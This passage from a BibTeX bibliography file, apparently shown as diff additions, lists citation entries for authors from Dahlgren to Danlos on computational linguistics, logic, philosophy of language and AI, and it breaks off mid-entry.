dahlgren:1998a, + author = {Kathleen Dahlgren}, + title = {Lexical Marking and the Recovery of Discourse Structure}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {65--71}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;} + } + +@incollection{ dahlhaus-malowsky:1988a, + author = {Elias Dahlhaus and Johann A. Malowsky}, + title = {Gandy's Principles for Mechanism as a Model of Parallel + Computation}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {309--314}, + address = {Oxford}, + topic = {parallel-processing;theory-of-computation;} + } + +@incollection{ dahn:1998a, + author = {I. Dahn}, + title = {Lattice-Ordered Groups in Deduction}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@incollection{ dahn-schumann:1998a, + author = {I. Dahn and J. Schumann}, + title = {Using Automated Theorem Provers + in Verification of Protocols}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;program-verification;} + } + +@incollection{ daille:1996a, + author = {B\'eatrice Daille}, + title = {Study and Implementation of Combined + Techniques for Automatic Extraction of Terminology}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {49--66}, + address = {Cambridge, Massachusetts}, + topic = {statistical-nlp;word-acquisition;} + } + +@incollection{ daitz:1960a, + author = {E. Daitz}, + title = {The Picture Theory of Meaning}, + booktitle = {Essays in Conceptual Analysis}, + publisher = {Macmillam}, + year = {1960}, + editor = {Antony Flew}, + pages = {1--20}, + address = {London}, + topic = {philosophy-of-language;} + } + +@inproceedings{ dalal:1988a, + author = {Mukesh Dalal}, + title = {Investigations Into a Theory of Knowledge Base Revision: + Preliminary Report}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + volume = {2}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {475--479}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {belief-revision;} + } + +@incollection{ dalal:1992a, + author = {Mukesh Dalal}, + title = {Tractable Deduction in Knowledge Representation Systems}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {393--402}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;logic-programming;tractable-logics;} + } + +@article{ dale-reiter_e:1995a, + author = {Robert Dale and Ehud Reiter}, + title = {Computational Interpretations of the + {G}ricean Maxims in the Generation of Referring Expressions}, + journal = {Cognitive Science}, + year = {1995}, + volume = {19}, + number = {2}, + pages = {233--263}, + topic = {implicature;pragmatics;nl-generation;referring-expressions;} + } + +@article{ dale-etal:1998a, + author = {Robert Dale and Barbara Di Eugenio and Donia Scott}, + title = {Introduction to the Special Issue on Natural Language + Generation}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {3}, + pages = {345--353}, + topic = {nl-generation;} + } + +@book{ dale_e:1968a, + editor = {E. Dale}, + title = {Machine Intelligence 2}, + publisher = {Elsevier}, + year = {1968}, + address = {New York}, + topic = {AI-survey;} + } + +@incollection{ dale_r:1988a, + author = {Robert Dale}, + title = {The Generation of Subsequent Referring Expressions in + Structured Discourses}, + booktitle = {Advances in Natural Language Generation: an + Interdisciplinary Perspective}, + publisher = {Pinter Publishers}, + year = {1988}, + editor = {Michael Zock and Gerard Sabah}, + pages = {58--75}, + address = {London}, + topic = {nl-generation;discourse;referring-expressions;pragmatics;} + } + +@phdthesis{ dale_r:1988b, + author = {Robert Dale}, + title = {Generating Referring Expressions: Constructing + Descriptions in a Domain of Objects and Processes}, + school = {Centre for Cognitive Science, University of Edinburgh}, + year = {1988}, + type = {Ph.{D}. Dissertation}, + address = {Edinburgh}, + topic = {nl-generation;referring-expressions;} + } + +@inproceedings{ dale_r:1989a, + author = {Robert Dale}, + title = {Cooking Up Referring Expressions}, + booktitle = {Proceedings of the {T}wenty-{S}eventh {A}nnual + {M}eeting of the {A}ssociation for {C}omputational {L}inguistics}, + year = {1989}, + pages = {68--75}, + missinginfo = {editor}, + topic = {nl-generation;referring-expressions;} +} + +@phdthesis{ dale_r:1989b, + author = {Robert Dale}, + title = {Generating {R}eferring {E}xpressions in a {D}omain of + {O}bjects and {P}rocesses}, + school = {Centre for Cognitive Science, University of Edinburgh}, + year = {1989}, + topic = {nl-generation;referring-expressions;} +} + +@inproceedings{ dale_r:1989c, + author = {Robert Dale}, + title = {Cooking Up Referring Expressions}, + booktitle = {Proceedings of the Twenty-Seventh Annual Meeting of + the Association for Computational Linguistics}, + year = {1989}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + missinginfo = {address, pages, editor}, + topic = {nl-generation;referring-expressions;} + } + +@incollection{ dale_r:1990a, + author = {Robert Dale}, + title = {Generating Recipes: An Overview of {E}picure}, + booktitle = {Current Research in Natural Language Generation}, + editor = {Robert Dale and Chris Mellish and Michael Zock}, + year = {1990}, + publisher = {Academic Press}, + address = {London}, + topic = {nl-generation;} + } + +@book{ dale_r:1990b, + editor = {Robert Dale and Chris Mellish and Michael Zock}, + title = {Current Research in Natural Language Generation}, + publisher = {Academic Press}, + year = {1990}, + address = {London}, + topic = {nl-generation;} + } + +@book{ dale_r-etal:1990a, + editor = {Robert Dale and Chris Mellish and Michael Zock}, + title = {Current Research in Natural Language Generation}, + publisher = {Academic Press}, + year = {1990}, + address = {New York}, + ISBN = {0122007352}, + topic = {nl-generation;} +} + +@inproceedings{ dale_r:1991a, + author = {Robert Dale}, + title = {Generating Referring Expressions Involving Relations}, + booktitle = {Proceedings of the Fifth Meeting of the {E}uropean {C}hapter + of the {A}ssociation for {C}omputational {L}inguistics}, + year = {1991}, + organization = {Association for Computational Linguistics}, + missinginfo = {editor, pages, publisher, address}, + topic = {referring-expressions;nl-generation;} + } + +@inproceedings{ dale_r:1991b, + author = {Robert Dale}, + title = {Generating Expressions Referring to Eventualities}, + booktitle = {Proceedings of the Fifteenth Annual + Conference of {C}ognitive {S}cience {S}ociety}, + year = {1991}, + organization = {Cognitive Science Society}, + missinginfo = {editor, pages, publisher, address}, + topic = {nl-generation;events;} + } + +@article{ dale_r:1991c, + author = {Robert Dale}, + title = {Content Determination in the Generation of Referring + Expressions}, + journal = {Computational Intelligence}, + year = {1991}, + volume = {7}, + number = {4}, + missinginfo = {pages}, + topic = {nl-generation;referring-expressions;} + } + +@inproceedings{ dale_r:1991d, + author = {Robert Dale}, + title = {Exploring the Role of Punctuation in the Signalling + of Discourse Structure}, + pages = {110--120}, + booktitle = {Proceedings of a Workshop on Text Representation and + Domain Modelling: Ideas from Linguistics and AI}, + year = {1991}, + organization = {Technical University Berlin}, + topic = {punctuation;pragmatics;} +} + +@inproceedings{ dale_r:1991e, + author = {Robert Dale}, + title = {The Role of Punctuation in Discourse Structure}, + booktitle = {Working Notes for the {AAAI} Fall Symposium on Discourse + Structure in Natural Language Understanding and Generation}, + year = {1991}, + organization = {AAAI}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages, editor}, + topic = {discourse;discourse-structure;punctuation;pragmatics;} + } + +@article{ dale_r-haddock:1991a, + author = {Robert Dale and Nicholas Haddock}, + title = {Content Determination in the Generation of Referring + Expressions}, + pages = {252--265}, + journal = {Computational Intelligence}, + volume = {7}, + number = {4}, + year = {1991}, + topic = {nl-generation;referring-expressions;} + } + +@book{ dale_r:1992a, + author = {Robert Dale}, + title = {Generating Referring Expressions: Constructing + Descriptions in a Domain of Objects and Processes}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0262041286}, + topic = {nl-generation;referring-expressions;} + } + +@incollection{ dale_r:1992b, + author = {Robert Dale}, + title = {Visible Language: Multimodal Constraints in Information + Presentation}, + booktitle = {Proceedings of the Sixth International Workshop on + Natural Language Generation, Trento, Italy}, + year = {1992}, + editor = {Robert Dale and Eduard Hovy and Dieter Roesner and + Oliviero Stock}, + publisher = {Springer Verlag. Lecture Notes in Artificial Intelligence}, + missinginfo = {pages}, + topic = {nl-generation;visual-reasoning;multimedia-generation;} +} + +@book{ dale_r:1992c, + editor = {Robert Dale}, + title = {Aspects of Automated Natural Language Generation: 6th + International Workshop on Natural Language Generation, {T}rento, + {I}taly, April 5--7, 1992}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {0387553991 (U.S.: alk. paper)}, + topic = {nl-generation;} + } + +@book{ dale_r-etal:1992a, + title = {Aspects of automated natural language generation: + Proceedings of the Sixth International Workshop on Natural + Language Generation, {T}rento, {I}taly}, + year = {1992}, + editor = {Robert Dale and Eduard Hovy and Dieter Roesner and + Oliviero Stock}, + publisher = {Springer Verlag}, + series = {Lecture Notes in Artificial Intelligence}, + topic = {nl-generation;} +} + +@incollection{ dale_r:1993a, + author = {Robert Dale}, + title = {The Initial Specifications for Generation}, + booktitle = {New Concepts in Natural Language Generation}, + publisher = {Pinter Publishers}, + year = {1993}, + editor = {Helmut Horacek and Michael Zock}, + pages = {271--274}, + address = {London}, + topic = {nl-generation;} + } + +@inproceedings{ dale_r:1995a, + author = {Robert Dale}, + title = {Generating One-Anaphoric Expressions: Where Does the + Decision Lie?}, + booktitle = {Working Papers of PACLING--{II}}, + year = {1995}, + missinginfo = {organization, pages, address, editor}, + topic = {nl-generation;anaphora;} + } + +@article{ dale_r:1995b, + author = {Robert Dale}, + title = {Using Linguistic Phenomena to Motivate a Set + of Coherence Relations}, + journal = {Discourse Processes}, + year = {1995}, + volume = {18}, + number = {1}, + pages = {35--62}, + topic = {discourse;coherence;pragmatics;} + } + +@inproceedings{ dale_r:1995c, + author = {Robert Dale}, + title = {Referring Expression Generation: Problems Introduced by + One-Anaphora}, + booktitle = {Principles of Natural Language + Generation: Papers from a {D}agstuhl Seminar}, + year = {1995}, + editor = {Wolfgang Hoeppner and Helmut Horacek}, + pages = {40--46}, + address = {Dagstuhl}, + topic = {nl-generation;anaphora;referring-expressions;} + } + +@incollection{ dale_r-douglas:1996a, + author = {Robert Dale and S. Douglas}, + title = {Two Investigations into Intelligent Text Processing}, + booktitle = {The New Writing Environment}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Mike Sharples and Thea {van der Geest}}, + pages = {123--145}, + address = {Berlin}, + missinginfo = {A's 1st name.}, + topic = {computer-assisted-writing;} + } + +@inproceedings{ dale_r-milosavljevic:1996a, + author = {Robert Dale and M. Milosavljevic}, + title = {Authoring on Demand: Natural Language Generation in + Hypertext Documents}, + booktitle = {Proceedings of the First + {A}ustralian Document Computing Symposium}, + year = {1996}, + missinginfo = {pages, A's 1st name, editor, organization, publisher}, + topic = {nl-generation;} + } + +@inproceedings{ dale_r-reiter_e:1996a, + author = {Robert Dale and Ehud Reiter}, + title = {The Role of the {G}ricean Maxims in the Generation of + Referring Expressions}, + booktitle = {Working Notes: {AAAI} Spring Symposium on Computational + Implicature: Computational Approaches to Interpreting and + Generating Conversational Implicature}, + year = {1996}, + pages = {16--20}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {Barbara Di Eugenio and Nancy L. Green}, + topic = {implicature;pragmatics;nl-generation;referring-expressions;} + } + +@incollection{ dale_r:1997a, + author = {Robert Dale}, + title = {Computer Assistance in Text Creation and Editing}, + booktitle = {Survey of the State of the Art in Human Language Technology}, + publisher = {Cambridge University Press}, + editor = {Giovanni Battista Varile and Antonio Zampolli}, + year = {1997}, + address = {Cambridge, England}, + missinginfo = {pages}, + topic = {computational-linguistics;computer-assisted-writing;} + } + +@article{ dalessio:1967a, + author = {J.C. D'Alessio}, + title = {Subjunctive Conditionals}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {10}, + pages = {306--310}, + topic = {conditionals;} + } + +@article{ dalessio:1972a, + author = {J.C. D'Alessio}, + title = {Austin on {N}owell-{S}mith's Conditional Analysis of + `Could Have' and `Can'\,}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {322}, + pages = {260--264}, + topic = {JL-Austin;ability;} + } + +@article{ dallachiara:1977a, + author = {Maria Luisa Dalla Chiara}, + title = {Quantum Logic and the Physical Modalities}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {391--404}, + topic = {quantum-logic;modal-logic;} + } + +@article{ dallachiara:1977b, + author = {Maria Luisa Dalla Chiara}, + title = {Logical Self Reference, Set Theoretical Paradoxes and + the Measurement Problem in Quantum Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {331--347}, + topic = {quantum-logic;} + } + +@incollection{ dallachiara:1986a, + author = {Maria Luisa dalla Chiara}, + title = {Quantum Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives in Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {427--469}, + address = {Dordrecht}, + topic = {quantum-logic;} + } + +@techreport{ dalrymple-etal:1987a, + author = {Mary Dalrymple and Ronald M. Kaplan and Lauri Karttunen + and Kimmo Koskenniemi and Michael Wescoat}, + title = {Tools for Morphological Analysis}, + institution = {CSLI}, + number = {CSLI--87-108}, + year = {1987}, + address = {Stanford, California}, + topic = {computational-morphology;} + } + +@article{ dalrymple-etal:1991a, + author = {Mary Dalrymple and Stuart M. Shieber and Fernando C.N. + Pereira}, + title = {Ellipsis and Higher-Order Unification}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {4}, + pages = {399--452}, + topic = {ellipsis;higher-order-unification;} + } + +@inproceedings{ dalrymple-etal:1994a, + author = {Mary Dalrymple and Makoto Kanazawa and Sam Bchombo + and Stanley Peters}, + title = {What do Reciprocals Mean?}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {61--78}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;reciprical-constructions;} + } + +@book{ dalrymple:1995a, + editor = {Mary Dalrymple}, + title = {Formal Issues in Lexical-Functional Grammar}, + publisher = {Center for the Study of Language and Information}, + year = {1995}, + address = {Stanford}, + contentnote = {TC: + 1. Ronald M. Kaplan , "The Formal Architecture of + Lexical-Functional Grammar " + 2. Ronald M. Kaplan and Joan Bresnan, "Lexical-functional + Grammar: A Formal System for Grammatical + Representation" + 3. Ronald M. Kaplan and Annie Zaenen, "Long-Distance + Dependencies, Constituent Structure, and Functional + Uncertainty" + 4. Mary Dalrymple and John T. Maxwell {III} and Annie + Zaenen, "Modeling Syntactic Constraints on Anaphoric + Binding" + 5. Ronald M. Kaplan and John T. Maxwell {III}, "An Algorithm + for Functional Uncertainty" + 6. Ronald M. Kaplan and John T. Maxwell {III}, "Constituent + Coordination in Lexical-Functional Grammar" + 7. Annie Zaenen and Ronald M. Kaplan, " Formal Devices for + Linguistic Generalizations: West {G}ermanic Word Order + in {LFG}" + 8. Joan Bresnan, "Linear Order, Syntactic Rank, and Empty + Categories: On Weak Crossover" + 9. Per-Kristian Halvorsen and Ronald M. Kaplan, "Projections and + Semantic Description in Lexical-Functional Grammar" + 10. Per-Kristian Halvorsen, "Situation Semantics and Semantic + Interpretation in Constraint-Based Grammars" + 11. Ronald M. Kaplan et al., "Translation by Structural + Correspondences" + 12. Ronald M. Kaplan, "Three Seductions of Computational + Psycholinguistics" + 13. Mark Johnson, "Logic and Feature Structures" + 14. John T. Maxwell {III} and Ronald M. Kaplan, " A method for + Disjunctive Constraint Satisfaction; The Interface + between Phrasal and Functional Constraints" + } , + ISBN = {1881526372}, + topic = {LFG;} + } + +@book{ dalrymple-etal:1995a, + editor = {Mary Dalrymple and John T. {Maxwell III} and Ronald M. + Kaplan and Annie Zaenan}, + title = {Formal Issues in Lexical-Functional Grammar}, + publisher = {Center for the Study of Language and Information}, + year = {1995}, + address = {Stanford, California}, + ISBN = {1881526372}, + contentnote = {TC: + 1. Ronald M. Kaplan, "The formal architecture of lexical-functional + grammar" + 2. Ronald M. Kaplan and Joan Bresnan, "Lexical-functional + grammar: a formal system for grammatical representation" + 3. Ronald M. Kaplan and Annie Zaenen, "Long-distance + dependencies, constituent structure, and functional + uncertainty" + 4. Mary Dalrymple, John T. Maxwell III, and Annie Zaenen, + "Modeling syntactic constraints on anaphoric binding" + 5. Ronald M. Kaplan and John T. Maxwell III, "An algorithm for + functional uncertainty" + 6. Ronald M. Kaplan and John T. Maxwell III, "Constituent + coordination in lexical-functional grammar" + 7. Annie Zaenen and Ronald M. Kaplan, "Formal devices for + linguistic generalizations: West Germanic word order + in LFG" + 8. Joan Bresnan, "Linear order, syntactic rank, and empty + categories: on weak crossover" + 9. Per-Kristian Halvorsen and Ronald M. Kaplan, "Projections and + semantic description in lexical-functional grammar" + 10. Per-Kristian Halvorsen, "Situation semantics and semantic + interpretation in constraint-based grammars" + 11. Ronald M. Kaplan ... [et al.], "Translation by structural + correspondences" + 12. Ronald M. Kaplan, "Three seductions of computational + psycholinguistics" + 13. Mark Johnson, "Logic and feature structures" + 14. John T. Maxwell III and Ronald M. Kaplan, "A method for + disjunctive constraint satisfaction ; The interface + between phrasal and functional constraints" + } , + topic = {LFG;} + } + +@article{ dalrymple-etal:1997a, + author = {Mary Dalrymple and John Lamping and Fernando Pereira + and Vijay Saraswat}, + title = {Quantifiers, Anaphora, and Intensionality}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {219--273}, + topic = {LFG;linear-logic;nl-semantics;nl-quantifier-scope;} + } + +@article{ dalrymple-etal:1998a, + author = {Mary Dalrymple and Makoto Kanazawa and Yookyung Kim + and Sam Mchombo and Stanley Peters}, + title = {Reciprocal Expressions and the Concept of Reciprocity}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {2}, + pages = {159--210}, + topic = {nl-semantics;reciprical-constructions;} + } + +@article{ dalton:1995a, + author = {Peter Dalton}, + title = {Extended Action}, + journal = {Philosophia}, + year = {1995}, + volume = {24}, + number = {3--4}, + pages = {253--270}, + contentnote = {Considers question of how long an action takes.}, + topic = {action;events;interval-logic;} + } + +@book{ damasio:1994a, + author = {Antonio R. R Damasio}, + title = {Descartes' Error: Emotion, Reason, and the Human Brain}, + publisher = {G.P. Putnam}, + year = {1994}, + address = {New York}, + ISBN = {0399138943}, + topic = {emotion;} + } + +@incollection{ damasio-pereira:1994a, + author = {Carlos Viegas Dam\'asio and Lu\'is Moniz Pereira}, + title = {{REVISE}: An Extended Logic Programming System for Revising + Knowledge Bases}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {607--618}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-reasoning;logic-programming;kr-course; + extended-logic-programming;} + } + +@incollection{ damasio-etal:1998a, + author = {Carlos Viegas Dam\'asio and Lu\'is Moniz Pereira}, + title = {A Survey of Paraconsistent Semantics for Logic + Programs}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 2: Reasoning with + Actual and Potential Contradictions}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {241--320}, + address = {Dordrecht}, + topic = {paraconsistency;relevance-logics;logic-programming;} + } + +@inproceedings{ dambrosio:1987a, + author = {Bruce D'Ambrision}, + title = {Extending the Mathematics in Qualitative Process Theory}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {595--599}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {qualitative-process-theory;} + } + +@inproceedings{ dambrosio:1991a, + author = {Bruce D'Ambrision}, + title = {Local Expression Languages for Probabilistic Dependence}, + booktitle = {Proceedings of the + 7th Conference on Uncertainty in Artificial Intelligence + (UAI91)}, + year = {1991}, + pages = {95--102}, + missinginfo = {Editor, Organization, Address}, + topic = {probabilistic-reasoning;} + } + +@inproceedings{ dambrosio-etal:1992a, + author = {Bruce D'Ambrisio and T. Fountain and Zhaoyu Li}, + title = {Parallelizing Probabilistic + Inference: Some Early Explorations}, + booktitle = {Proceedings of the 8th Conference on Uncertainty in + Artificial Intelligence (UAI92)}, + year = {1992}, + pages = {59--66}, + missinginfo = {Editor, Organization, Address}, + topic = {probabilistic-reasoning;parallel-processing;Bayesian-networks;} + } + +@inproceedings{ dambrosio:1994a, + author = {Bruce D'Ambrision}, + title = {Symbolic Probabilistic Inference in Large {BN}20 Networks}, + booktitle = {Proceedings of the + 10th Conference on Uncertainty in Artificial Intelligence + (UAI94)}, + year = {1994}, + pages = {128--125}, + missinginfo = {Editor, Organization, Address}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@article{ damnjanovic:1997a, + author = {Zlatan Damnjanovic}, + title = {Elementary Realizability}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {311--339}, + topic = {intuitionistic-logic;realizability;} + } + +@incollection{ damon:1991a, + author = {William Damon}, + title = {Problems of Direction in Socially Shared Cognition}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {398--417}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@incollection{ damper-marchand_y:2000a, + author = {Robert I. Damper and Yannik Marchand}, + title = {Pronunciation by Analogy in Normal and Impaired Readers}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {13--18}, + address = {Somerset, New Jersey}, + topic = {cognitive-modeling;speech-production;} + } + +@inproceedings{ damso-ruboff:1998a, + author = {Martin Damsbo and Peder Thusgaard Ruboff}, + title = {An Evolutionary Algorithm for Welding Task Sequence Ordering}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {120--131}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {genetic-algorithms;scheduling;} + } + +@article{ dancy:1984a, + author = {Jonathan Dancy}, + title = {Even-IFs}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {2}, + pages = {119--128}, + topic = {`even';conditionals;} + } + +@article{ dancy:1995a, + author = {Jonathan Dancy}, + title = {Why There Is Really No Such Thing as the Theory of + Motivation}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1995}, + volume = {95}, + note = {Supplementary Series.}, + pages = {1--18}, + topic = {reasons-for-action;action;} + } + +@article{ dandrade-wish:1985a, + author = {R.G. D'Andrade and M. Wish}, + title = {Speech Act Theory in Quantitative Research on + Interpersonal Behavior}, + journal = {Discourse Processes}, + year = {1985}, + volume = {8}, + pages = {229--259}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;cognitive-psychology;} + } + +@incollection{ dandrade:1989a, + author = {Roy G. D'Andrade}, + title = {Cultural Cognition}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {20}, + pages = {795--830}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;cultural-anthropology;} + } + +@book{ dandrade:1995a, + author = {Roy G. D'Andrade}, + title = {The Development of Cognitive Anthropology}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + topic = {cultural-anthropology;cognitive-anthropology;} + } + +@article{ dandrea-lee:2000a, + author = {Raffaello D'Andrea and Jin-Woo Lee}, + title = {Cornell Big Red: Small-Size League WInner}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {41--44}, + topic = {RoboCup;robotics;} + } + +@inproceedings{ dang_ht-etal:1998a, + author = {Hoa Trang Dang and Karin Kipper and Martha Palmer and + Joseph Rosenzweig}, + title = {Investigating Regular Sense Extensions based on + Intersective {L}evin Classes}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {293--299}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {polysemy;computational-semantics;} +} + +@techreport{ daniel:1977a, + author = {L. Daniel}, + title = {Planning: Modifying Non-linear Plans}, + type = {Working Paper}, + number = {24}, + institution = {Department of AI, University of Edinburgh}, + year = {1977}, + topic = {planning-algorithms;} + } + +@incollection{ danieli-etal:1997a, + author = {Morena Danieli and Elissbetta Gerbino and Loretta M. + Moisa}, + title = {Dialogue Strategies for Improving the Usability + of Telephone Human-Machine Communication}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {114--120}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;speech-recognition;} + } + +@article{ daniels:1972a, + author = {Charles B. Daniels}, + title = {Reference and Singular Referring Terms}, + journal = {Journal of Philosophical Logic}, + year = {1972}, + volume = {1}, + number = {1}, + pages = {86--102}, + topic = {reference;referring-expressions;} + } + +@article{ daniels-freeman:1977a, + author = {Charles B. Daniels and James B. Freeman}, + title = {Classical Second-Order Intensional Logic with Maximal + Propositions}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {1}, + pages = {1--31}, + topic = {intensional-logic;} + } + +@article{ daniels:1990a, + author = {Charles B. Daniels}, + title = {The Propositional Objects of Mental Attitudes}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {3}, + pages = {317--342}, + topic = {propositional-attitudes;indexicals;} + } + +@book{ danielson_pa:1998a, + editor = {Peter A. Danielson}, + title = {Modeling Rationality, Morality, and Evolution}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + contentnote = {TC: + 1. Peter A. Danielson, "Introduction" + I. Rationality + 2. Edward F. McClennen, "Rationality and Rules" + 3. David Gauthier, "Intention and Deliberation" + 4. Michael E. Bratman, "Following Through with One's Plans: + Reply to David Gauthier" + 5. A. D. Irvine, "How Braess' Paradox Solves Newcomb's Problem" + 6. Bryan R. Routledge, "Economics of the Prisoner's Dilemma: + A Background" + 7. Ronald de Sousa, "Modeling Rationality: Normative or + Descriptive?" + II. Modeling Social Interaction + 10. Leslie Burkholder, "Theorem 1" + 11. Louis Marinoff, "The Failure of Success: Intrafamilial + Exploitation in the Prisoner's Dilemma" + 12. Peter Kollock, "Transforming Social Dilemmas: Group + Identity and Co-operation" + 13. Bernardo A. Huberman and Natalie S. Glance, "Beliefs and + Co-operation" + 14. Paul M. Churchland, "The Neural Representation of the + Social World" + III. Morality + 15. David Schmidtz, "Moral Dualism" + 16. Duncan MacIntosh, "Categorically Rational Preferences and + the Structure of Morality" + 17. William J. Talbott, "Why We Need a Moral Equilibrium Theory" + 18. Chantale LaCasse and Don Ross, "Morality's Last Chance" + IV. Evolution + 19. Brian Skyrms, "Mutual Aid: Darwin Meets The Logic of Decision" + 20. Elliott Sober, "Three Differences between Deliberation + and Evolution" + 21. Peter A. Danielson, "Evolutionary Models of Co-operative + Mechanisms: Artificial Morality and Genetic + Programming" + 15. Giovanni Dosi, Luigi Marengo, Andrea Bassanini and Marco + Valente, "Norms as Emergent Properties of Adaptive + Learning: The Case of Economic Routines" + } , + ISBN = {0-19-512550-9 (paper), 0-19-512549-5 (cloth)}, + topic = {rationality;} + } + +@article{ danielson_s:1965a, + author = {Sven Danielson}, + title = {Definitions of `Performatives'\, } , + journal = {Theoria}, + year = {1965}, + volume = {31}, + pages = {20--31}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@book{ danlos:1986a, + author = {Laurence Danlos}, + title = {Studies in Natural Language Processing: The Linguistic + Basis of Text Generation}, + publisher = {Cambridge University Press}, + year = {1986}, + topic = {nl-generation;} +} + +@incollection{ danlos:1998a, + author = {Laurence Danlos}, + title = {Linguistic Ways for Expressing a Discourse + Relation in a Lexicalized Text Generation System}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {50--53}, + address = {Somerset, New Jersey}, + topic = 